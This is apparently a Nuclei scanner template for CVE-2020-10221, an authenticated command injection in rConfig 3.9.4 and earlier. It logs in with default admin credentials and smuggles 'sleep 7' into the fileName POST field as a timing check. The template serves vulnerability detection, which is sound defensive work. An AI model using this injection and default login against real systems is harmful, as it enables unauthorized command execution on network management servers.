id: CVE-2020-10221 info: name: rConfig <= 3.9.4 - Authenticated OS Command Injection author: Jayachandran from Securin Labs (https://securin.io) severity: high description: | lib/ajaxHandlers/ajaxAddTemplate.php in rConfig through 3.9.4 does not properly sanitize the fileName POST parameter before using it in a shell command, allowing an authenticated attacker to inject arbitrary OS commands. This template uses default admin credentials to log in before triggering the injection; override the username / userpassword fields for environments with changed credentials. remediation: | Upgrade rConfig beyond 3.9.4 once a fixed release is available, or restrict access to /lib/ajaxHandlers/ and change default credentials. reference: - https://github.com/advisories/GHSA-hxjm-95v4-6qjj - https://www.exploit-db.com/exploits/48207 - https://nvd.nist.gov/vuln/detail/CVE-2020-10221 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2020-10221 cwe-id: CWE-78 epss-score: 0.80221 epss-percentile: 0.99589 cpe: cpe:2.3:a:rconfig:rconfig:*:*:*:*:*:*:*:* metadata: verified: true max-request: 2 vendor: rconfig product: rconfig shodan-query: body:"/html/rconfig" fofa-query: body="/html/rconfig" tags: cve,cve2020,rconfig,rce,authenticated,intrusive,kev,vkev flow: http(1) && http(2) http: - raw: - | GET /login HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'contains(tolower(body), "rconfig")' - 'status_code==200' condition: and internal: true - raw: - | POST /lib/crud/userprocess.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded username={{username}}&userpassword={{password}} - | @timeout: 30s POST /lib/ajaxHandlers/ajaxAddTemplate.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded fileName=test%3Bsleep%207%3B matchers-condition: and matchers: - type: dsl dsl: - 'duration_2>=7' - type: status status: - 200 # digest: 4a0a0047304502203f0a1aa695b3ac6603ab336e907f3251206efd9eca659dc8ae7ba80d1002576c022100a310c8950df296eed6641ff17f27090b4ffa4ed5a92e9a49a1bc21519df55dd7:922c64590222798bb761d5b6d8e72950